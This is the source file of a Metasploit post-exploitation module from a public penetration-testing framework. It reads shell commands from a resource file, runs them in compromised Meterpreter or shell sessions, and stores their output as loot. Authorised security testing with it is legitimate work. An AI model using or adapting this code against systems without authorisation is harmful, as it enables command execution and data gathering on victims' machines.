metasploit-framework/modules/post/multi/gather/multi_command.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Multi Gather Run Shell Command Resource File',
        'Description'   => %q{ This module will read shell commands from a resource file and
          execute the commands in the specified Meterpreter or shell session.},
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform'      => %w{ bsd linux osx unix win },
        'SessionTypes'  => [ 'meterpreter','shell' ]
      ))
    register_options(
      [
        OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])

      ], self.class)
  end

  # Run Method for when run command is issued
  def run
    session_type = session.type
    print_status("Running module against #{sysinfo['Computer']}")
    if not ::File.exists?(datastore['RESOURCE'])
      raise "Resource File does not exists!"
    else
      ::File.open(datastore['RESOURCE'], "rb").each_line do |cmd|
        next if cmd.strip.length < 1
        next if cmd[0,1] == "#"
        begin
          tmpout = "\n"
          tmpout << "*****************************************\n"
          tmpout << "      Output of #{cmd}\n"
          tmpout << "*****************************************\n"
          print_status "Running command #{cmd.chomp}"
          if session_type =~ /meterpreter/
            tmpout << cmd_exec(cmd.chomp)
          elsif session_type =~ /shell/
            tmpout << session.shell_command_token(cmd.chomp).chomp
          end
          vprint_status tmpout
          command_log = store_loot("host.command", "text/plain", session,tmpout ,
            "#{cmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'#{cmd.chomp}\'")
          print_status("Command output saved to: #{command_log}")
        rescue ::Exception => e
          print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
        end
      end
    end
  end
end